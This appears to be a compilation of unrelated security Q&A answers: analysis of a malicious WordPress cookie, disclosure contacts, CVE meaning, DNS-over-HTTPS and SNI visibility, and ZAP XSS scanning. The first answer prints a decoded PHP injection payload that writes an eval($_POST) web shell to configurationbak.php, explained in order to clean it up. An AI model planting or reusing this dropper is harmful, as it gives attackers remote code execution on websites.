Probably the second file works out to be index.php.  I would check for malicious content in those two files.  In particular, this cookie passes variables into those two PHP scripts using the URL and the GET method for passing data.  When you decode the GET string using a tool like URL Decoder, you get the following:

  "uri":"www.somedomain.com/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo
  '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/configurationbak.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo
  '|<-';","blog_id":1,"post":7,"key":"www.somedomain.com80/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo
  '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/configurationbak.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo
  '|<-';"

There is some further obfuscation here.  The call to base64_decode will convert the string 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+' to the following:

  "<?php eval($_POST1);?>"

The conversion tool that I used for the decoding is Base 64 Decode.

This looks like some sort of clever WordPress exploit that recursively convinces your web-page to run the hacker's code so they can access your PHP interpreter.

To be safe, you should delete this file and be on the look-out for extra PHP files created by exploits like this one (i.e. configurationbak.php).


Course of actions after finding security flaw

Check whois - there may be usable contact information there.

you could try emailing postmaster@theirdomain - that's supposed to connect to a human admin of some type.

contact the cyber emergency response team. aka CERT, they may have a better means of contact. EG: www.us-cert.gov


What happens once a vulnerability has been added to a database? (CVE)

Giving it a CVE number (and adding it to a database) is just giving it a common name that can be used to refer to it. By itself, it does nothing.

But by that point, the people who have requested a CVE number be assigned to the vulnerability, have studied it and have prepared recommendations: a patch, a configuration workaround, a recommendation to shut off some software/hardware pending a fix.

What you do as a professional is up to you. You can decide to do nothing, or to apply the patch to all nodes, or to apply the patch in lab and see if it breaks something, or to switch vendors.


a DNS request is launched to find the IP of the domain, if I have DoH I only see TLS traffic and not even the domain name is leaked to MITM eyes.

No, the domain can usually still be visible. The domain name of the website is present in cleartext, even if HTTPS is used, in the Server Name Indication (SNI). ESNI (Encrypted SNI) is being developed, but it is still a draft. Even if ESNI is used, the IP address of the server you are connecting to will be visible in the IP header of the packets you send it, so the domain name can be determined or shortlisted using a Reverse IP Lookup.

When my computer has the IP of the domain, a TLS tunnel is mounted. Inside the TLS tunnel http requests are being sent and received, the ones with full URLs (and therefore paste keys).

The paste keys are usually located in the part of the URL the follows after the # symbol. This part of the URL is not transmitted to the server and is only visible client-side. This means that even if HTTPS is not used, the encryption keys will not be visible with just a passive MitM. Of course, if TLS is not used and the attacker actively MitMs the connection (i.e. intercepts and then alters the data being exchanged), they can easily modify the webpage served to send the key from the victim's browser to them.


OWASP Zap proxy Fuzz XSS pentest against REST API

Is your application returning HTML when you GET /cart ?
If it is then you could try using the ZAP persistent XSS scanner - that should inject XSS attacks via the POST and then check all of the URLs where the payload is displayed.

If the GET doesnt return html then it all depends how that data gets used.

FYI we have a ZAP Users group which is probably more suitable for questions like this: http://groups.google.com/group/zaproxy-users Thats linked off the ZAP "Online / ZAP User Group" menu item, which is apparently invisible as no one seems to spot it ;)

Simon (ZAP Project Lead)